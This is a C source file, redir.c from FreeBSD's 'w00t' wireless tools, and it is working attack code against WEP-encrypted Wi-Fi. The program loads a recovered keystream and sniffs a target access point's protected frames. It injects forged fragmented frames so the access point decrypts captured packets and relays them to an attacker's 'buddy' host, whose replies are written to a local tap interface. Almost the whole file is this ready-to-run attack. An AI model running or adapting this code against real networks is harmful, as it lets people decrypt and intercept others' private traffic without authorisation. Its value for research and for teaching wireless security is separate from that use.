redir.c revision 260444
1/*-
2 * Copyright (c) 2006, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
3 * All rights reserved.
4 *
5 * Redistribution and use in source and binary forms, with or without
6 * modification, are permitted provided that the following conditions
7 * are met:
8 * 1. Redistributions of source code must retain the above copyright
9 *    notice, this list of conditions and the following disclaimer.
10 * 2. Redistributions in binary form must reproduce the above copyright
11 *    notice, this list of conditions and the following disclaimer in the
12 *    documentation and/or other materials provided with the distribution.
13 *
14 * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
15 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
16 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
17 * ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
18 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
19 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
20 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
21 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
22 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
23 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
24 * SUCH DAMAGE.
25 *
26 * $FreeBSD: head/tools/tools/net80211/w00t/redir/redir.c 260444 2014-01-08 08:06:56Z kevlo $
27 */
28#include <sys/time.h>
29#include <sys/types.h>
30#include <sys/socket.h>
31#include <sys/uio.h>
32#include <netinet/in.h>
33#include <arpa/inet.h>
34#include <netinet/in_systm.h>
35#include <netinet/ip.h>
36#include <string.h>
37#include <stdio.h>
38#include <stdlib.h>
39#include <unistd.h>
40#include <fcntl.h>
41#include <err.h>
42#include <assert.h>
43#include <zlib.h>
44#include "w00t.h"
45
46enum {
47	S_START = 0,
48	S_WAIT_ACK,
49	S_WAIT_BUDDY
50};
51
52struct queue {
53	struct ieee80211_frame *wh;
54	int len;
55	int id;
56
57	char *buf;
58	int live;
59	struct queue *next;
60};
61
62struct params {
63	int rx;
64	int tx;
65
66	int s;
67	int port;
68
69	int tap;
70
71	char mac[6];
72	char ap[6];
73	char rtr[6];
74	struct in_addr src;
75	struct in_addr dst;
76
77	char prga[2048];
78	int prga_len;
79	char iv[3];
80	char *fname;
81
82	int state;
83
84	struct queue *q;
85
86	char packet[2048];
87	int packet_len;
88	struct timeval last;
89	int id;
90	int data_try;
91
92	int seq;
93	int frag;
94
95	char buddy_data[2048];
96	int buddy_got;
97};
98
99void load_prga(struct params *p)
100{
101        int fd;
102        int rd;
103
104        fd = open(p->fname, O_RDONLY);
105        if (fd == -1) {
106                p->prga_len = 0;
107                return;
108        }
109
110        rd = read(fd, p->iv, 3);
111        if (rd == -1)
112                err(1, "read()");
113        if (rd != 3) {
114                printf("Short read\n");
115                exit(1);
116        }
117
118        rd = read(fd, p->prga, sizeof(p->prga));
119        if (rd == -1)
120                err(1, "read()");
121        p->prga_len = rd;
122
123        printf("Loaded %d PRGA from %s\n", p->prga_len, p->fname);
124        close(fd);
125}
126
127int wanted(struct params *p, struct ieee80211_frame *wh, int len)
128{
129	char *bssid, *sa;
130
131	if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
132		bssid = wh->i_addr1;
133		sa = wh->i_addr2;
134	}
135	else {
136		bssid = wh->i_addr2;
137		sa = wh->i_addr3;
138	}
139
140	if (memcmp(bssid, p->ap, 6) != 0)
141		return 0;
142
143	if (!(wh->i_fc[1] & IEEE80211_FC1_PROTECTED)) {
144		printf("Got non WEP packet...\n");
145		return 0;
146	}
147
148	/* my own shit */
149	if (memcmp(p->mac, sa, 6) == 0)
150		return 0;
151
152	return 1;
153}
154
155void enque(struct params *p, char **buf, struct ieee80211_frame *wh, int len)
156{
157	struct queue *q = p->q;
158	int qlen = 0;
159	char *ret = NULL;
160	struct queue *last = NULL;
161
162	/* find a slot */
163	while (q) {
164		if (q->live)
165			qlen++;
166		else {
167			/* recycle */
168			ret = q->buf;
169			break;
170		}
171
172		last = q;
173		q = q->next;
174	}
175
176	/* need to create slot */
177	if (!q) {
178		q = (struct queue*) malloc(sizeof(*q));
179		if (!q)
180			err(1, "malloc()");
181		memset(q, 0, sizeof(*q));
182
183		/* insert */
184		if (!p->q)
185			p->q = q;
186		else {
187			assert(last);
188			last->next = q;
189		}
190	}
191
192	q->live = 1;
193	q->buf = *buf;
194	q->len = len;
195	q->wh = wh;
196	q->id = p->id++;
197
198	qlen++;
199
200	if (qlen > 5)
201		printf("Enque.  Size: %d\n", qlen);
202	*buf = ret;
203}
204
205/********** RIPPED
206************/
207unsigned short in_cksum (unsigned short *ptr, int nbytes) {
208  register long sum;
209  u_short oddbyte;
210  register u_short answer;
211
212  sum = 0;
213  while (nbytes > 1)
214    {
215      sum += *ptr++;
216      nbytes -= 2;
217    }
218
219  if (nbytes == 1)
220    {
221      oddbyte = 0;
222      *((u_char *) & oddbyte) = *(u_char *) ptr;
223      sum += oddbyte;
224    }
225
226  sum = (sum >> 16) + (sum & 0xffff);
227  sum += (sum >> 16);
228  answer = ~sum;
229  return (answer);
230}
231/**************
232************/
233
234void send_packet(struct params *p)
235{
236        int rc;
237        struct ieee80211_frame *wh;
238
239        rc = inject(p->tx, p->packet, p->packet_len);
240        if (rc == -1)
241                err(1, "inject()");
242        if (rc != p->packet_len) {
243                printf("Wrote %d/%d\n", rc, p->packet_len);
244                exit(1);
245        }
246
247        p->data_try++;
248        wh = (struct ieee80211_frame*) p->packet;
249        wh->i_fc[1] |= IEEE80211_FC1_RETRY;
250
251        if (gettimeofday(&p->last, NULL) == -1)
252                err(1, "gettimeofday()");
253}
254
255void send_header(struct params *p, struct queue *q)
256{
257	struct ieee80211_frame *wh;
258	short *pseq;
259	char *ptr;
260	struct ip *ih;
261	int len, i;
262	uLong crc = crc32(0L, Z_NULL, 0);
263	uLong *pcrc;
264
265	/* 802.11 */
266	memset(p->packet, 0, sizeof(p->packet));
267	wh = (struct ieee80211_frame *) p->packet;
268	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
269	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
270	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
271	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
272	wh->i_fc[1] |= IEEE80211_FC1_MORE_FRAG;
273
274	wh->i_dur[0] = 0x69;
275
276	memcpy(wh->i_addr1, p->ap, 6);
277	memcpy(wh->i_addr2, p->mac, 6);
278	memcpy(wh->i_addr3, p->rtr, 6);
279
280	pseq = (short*) wh->i_seq;
281	p->frag = 0;
282	p->seq++;
283	*pseq = seqfn(p->seq, p->frag++);
284
285	/* IV */
286	ptr = (char*) (wh+1);
287	memcpy(ptr, p->iv, 3);
288	ptr += 4;
289
290	/* LLC/SNAP */
291	memcpy(ptr, "\xAA\xAA\x03\x00\x00\x00\x08\x00", 8);
292
293	/* IP */
294	ih = (struct ip*) (ptr+8);
295	ih->ip_v = 4;
296	ih->ip_hl = 5;
297	len = q->len  - sizeof(*wh) - 4 - 4 + 20;
298	ih->ip_len = htons(len);
299	ih->ip_id = htons(q->id);
300	ih->ip_ttl = 69;
301	ih->ip_p = 0;
302	ih->ip_src.s_addr = p->src.s_addr;
303	ih->ip_dst.s_addr = p->dst.s_addr;
304	ih->ip_sum = in_cksum((unsigned short*)ih, 20);
305
306	/* ICV */
307	len = 8 + 20;
308	crc = crc32(crc, ptr, len);
309	pcrc = (uLong*) (ptr+len);
310	*pcrc = crc;
311
312	/* wepify */
313	for (i = 0; i < len + 4; i++)
314		ptr[i] ^= p->prga[i];
315
316	p->packet_len = sizeof(*wh) + 4 + len + 4;
317	p->data_try = 0;
318	send_packet(p);
319}
320
321void send_queue(struct params *p)
322{
323	struct queue *q = p->q;
324
325	assert(q);
326	assert(q->live);
327
328	send_header(p, q);
329	p->state = S_WAIT_ACK;
330}
331
332void send_data(struct params *p)
333{
334	struct ieee80211_frame *wh;
335	short *seq;
336	struct queue *q = p->q;
337	char *dst, *src;
338	int len;
339
340	assert(q);
341
342	/* 802.11 */
343	memset(p->packet, 0, sizeof(p->packet));
344	wh = (struct ieee80211_frame*) p->packet;
345	wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA;
346	wh->i_fc[0] |= IEEE80211_FC0_SUBTYPE_DATA;
347	wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS;
348	wh->i_fc[1] |= IEEE80211_FC1_PROTECTED;
349
350	wh->i_dur[0] = 0x69;
351
352	memcpy(wh->i_addr1, p->ap, 6);
353	memcpy(wh->i_addr2, p->mac, 6);
354	memcpy(wh->i_addr3, p->rtr, 6);
355
356	seq = (short*) wh->i_seq;
357	*seq = seqfn(p->seq, p->frag++);
358
359	/* data */
360	dst = (char*) (wh+1);
361	src = (char*) (q->wh+1);
362	len = q->len - sizeof(*wh);
363	memcpy(dst, src, len);
364
365	p->packet_len = sizeof(*wh) + len;
366	p->data_try = 0;
367	send_packet(p);
368}
369
370void got_ack(struct params *p)
371{
372	switch (p->frag) {
373	case 1:
374		send_data(p);
375		break;
376
377	case 2:
378		p->state = S_WAIT_BUDDY;
379		p->data_try = 69;
380		break;
381	}
382}
383
384void read_wifi(struct params *p)
385{
386	static char *buf = 0;
387	static int buflen = 4096;
388	struct ieee80211_frame *wh;
389	int rc;
390
391	if (!buf) {
392		buf = (char*) malloc(buflen);
393		if (!buf)
394			err(1, "malloc()");
395	}
396
397	rc = sniff(p->rx, buf, buflen);
398	if (rc == -1)
399		err(1, "sniff()");
400
401	wh = get_wifi(buf, &rc);
402	if (!wh)
403		return;
404
405	/* acks */
406	if (frame_type(wh, IEEE80211_FC0_TYPE_CTL, IEEE80211_FC0_SUBTYPE_ACK) &&
407	    (memcmp(p->mac, wh->i_addr1, 6) == 0)) {
408		got_ack(p);
409		return;
410	}
411
412	/* data */
413	if (frame_type(wh, IEEE80211_FC0_TYPE_DATA,
414		       IEEE80211_FC0_SUBTYPE_DATA)) {
415		if (!wanted(p, wh, rc))
416			return;
417
418		enque(p, &buf, wh, rc);
419		if (p->state == S_START)
420			send_queue(p);
421		return;
422	}
423}
424
425int connect_buddy(struct params *p)
426{
427	struct sockaddr_in s_in;
428
429	memset(&s_in, 0, sizeof(s_in));
430	s_in.sin_family = PF_INET;
431	s_in.sin_port = htons(p->port);
432	s_in.sin_addr.s_addr = p->dst.s_addr;
433
434	if ((p->s = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
435		return -1;
436
437	if (connect(p->s, (struct sockaddr*) &s_in, sizeof(s_in)) == -1)
438		return -1;
439
440	return 0;
441}
442
443void buddy_reset(struct params *p)
444{
445	p->buddy_got = 0;
446
447	if (connect_buddy(p) == -1)
448		err(1, "connect_buddy()");
449}
450
451int buddy_get(struct params *p, int len)
452{
453	int rd;
454
455	rd = recv(p->s, &p->buddy_data[p->buddy_got], len, 0);
456	if (rd <= 0) {
457		buddy_reset(p);
458		return 0;
459	}
460
461	p->buddy_got += rd;
462	return rd == len;
463}
464
465void read_buddy_head(struct params *p)
466{
467	int rem;
468
469	rem = 4 - p->buddy_got;
470
471	if (!buddy_get(p, rem))
472		return;
473}
474
475void read_buddy_data(struct params *p)
476{
477	unsigned short *ptr = (unsigned short*) p->buddy_data;
478	int id, len, rem;
479	struct queue *q = p->q;
480	struct queue *last = p->q;
481	char mac[12];
482	struct iovec iov[2];
483
484	id = ntohs(*ptr++);
485	len = ntohs(*ptr++);
486
487	rem = len + 4 - p->buddy_got;
488
489	assert(rem > 0);
490	if (!buddy_get(p, rem))
491		return;
492
493	/* w00t, got it */
494#if 0
495	printf("id=%d len=%d\n", id, len);
496#endif
497	p->buddy_got = 0;
498
499	/* feedback loop bullshit */
500	if (!q)
501		return;
502	if (!q->live)
503		return;
504
505	/* sanity chex */
506	if (q->id != id) {
507		printf("Diff ID\n");
508		return;
509	}
510
511	rem = q->len - sizeof(*q->wh) - 4 - 4;
512	if (rem != len) {
513		printf("Diff len\n");
514		return;
515	}
516
517	/* tap */
518	if (q->wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) {
519		memcpy(mac, q->wh->i_addr3, 6);
520		memcpy(&mac[6], q->wh->i_addr2, 6);
521	} else {
522		memcpy(mac, q->wh->i_addr1, 6);
523		memcpy(&mac[6], q->wh->i_addr3, 6);
524	}
525	iov[0].iov_base = mac;
526	iov[0].iov_len = sizeof(mac);
527	iov[1].iov_base = (char*)ptr + 8 - 2;
528	iov[1].iov_len = len - 8 + 2;
529
530	rem = writev(p->tap, iov, sizeof(iov)/sizeof(struct iovec));
531	if (rem == -1)
532		err(1, "writev()");
533	if (rem != (14+(len-8))) {
534		printf("Short write %d\n", rem);
535		exit(1);
536	}
537
538	/* deque */
539	q->live = 0;
540	if (q->next) {
541
542		p->q = q->next;
543
544		while (last) {
545			if (!last->next) {
546				last->next = q;
547				q->next = 0;
548				break;
549			}
550			last = last->next;
551		}
552	}
553
554	/* drain queue */
555	p->state = S_START;
556	if (p->q->live)
557		send_queue(p);
558}
559
560void read_buddy(struct params *p)
561{
562	if (p->buddy_got < 4)
563		read_buddy_head(p);
564	else
565		read_buddy_data(p);
566}
567
568void own(struct params *p)
569{
570	struct timeval tv;
571	struct timeval *to = NULL;
572	fd_set fds;
573	int max;
574	int tout_ack = 10*1000;
575	int tout_buddy = 2*1000*1000;
576	int tout = (p->state == S_WAIT_BUDDY) ? tout_buddy : tout_ack;
577
578	if (p->state == S_WAIT_ACK || p->state == S_WAIT_BUDDY) {
579		int el;
580
581		/* check timeout */
582		if (gettimeofday(&tv, NULL) == -1)
583			err(1, "gettimeofday()");
584
585		el = elapsed(&p->last, &tv);
586
587		/* timeout */
588		if (el >= tout) {
589			if (p->data_try > 3) {
590				p->state = S_START;
591				return;
592			} else {
593				send_packet(p);
594				el = 0;
595			}
596		}
597		el = tout - el;
598		tv.tv_sec = el/1000/1000;
599		tv.tv_usec = el - tv.tv_sec*1000*1000;
600		to = &tv;
601	}
602
603	FD_ZERO(&fds);
604	FD_SET(p->rx, &fds);
605	FD_SET(p->s, &fds);
606	max = (p->rx > p->s) ? p->rx : p->s;
607
608	if (select(max+1, &fds, NULL, NULL, to) == -1)
609		err(1, "select()");
610
611	if (FD_ISSET(p->rx, &fds))
612		read_wifi(p);
613	if (FD_ISSET(p->s, &fds))
614		read_buddy(p);
615}
616
617void usage(char *name)
618{
619	printf("Usage %s <opts>\n"
620	       "-h\thelp\n"
621	       "-d\t<buddy ip>\n"
622	       "-p\t<port>\n"
623	       "-b\t<bssid>\n"
624	       "-t\t<tap>\n"
625	       "-r\t<rtr>\n"
626	       "-s\t<source ip>\n"
627	       , name);
628	exit(1);
629}
630
631int main(int argc, char *argv[])
632{
633	struct params p;
634	char *iface = "wlan0";
635	char *tap = "tap0";
636	int ch;
637
638	memset(&p, 0, sizeof(p));
639	memcpy(p.mac, "\x00\x00\xde\xfa\xce\xd", 6);
640	p.fname = "prga.log";
641	p.seq = getpid();
642
643	while ((ch = getopt(argc, argv, "hd:p:b:t:r:s:")) != -1) {
644		switch (ch) {
645		case 's':
646			if (!inet_aton(optarg, &p.src)) {
647				printf("Can't parse src IP\n");
648				exit(1);
649			}
650			break;
651
652		case 'r':
653			if (str2mac(p.rtr, optarg) == -1) {
654				printf("Can't parse rtr MAC\n");
655				exit(1);
656			}
657			break;
658
659		case 't':
660			tap = optarg;
661			break;
662
663		case 'b':
664			if (str2mac(p.ap, optarg) == -1) {
665				printf("Can't parse BSSID\n");
666				exit(1);
667			}
668			break;
669
670		case 'd':
671			if (!inet_aton(optarg, &p.dst)) {
672				printf("Can't parse IP\n");
673				exit(1);
674			}
675			break;
676
677		case 'p':
678			p.port = atoi(optarg);
679			break;
680
681		case 'h':
682		default:
683			usage(argv[0]);
684			break;
685		}
686	}
687
688	load_prga(&p);
689	assert(p.prga_len > 60);
690
691	if ((p.rx = open_rx(iface)) == -1)
692		err(1, "open_rx()");
693	if ((p.tx = open_tx(iface)) == -1)
694		err(1, "open_tx()");
695
696	if ((p.tap = open_tap(tap)) == -1)
697		err(1, "open_tap()");
698	if (set_iface_mac(tap, p.mac) == -1)
699		err(1, "set_iface_mac()");
700
701	if (connect_buddy(&p) == -1)
702		err(1, "connect_buddy()");
703
704	p.state = S_START;
705	while (1)
706		own(&p);
707
708	exit(0);
709}
710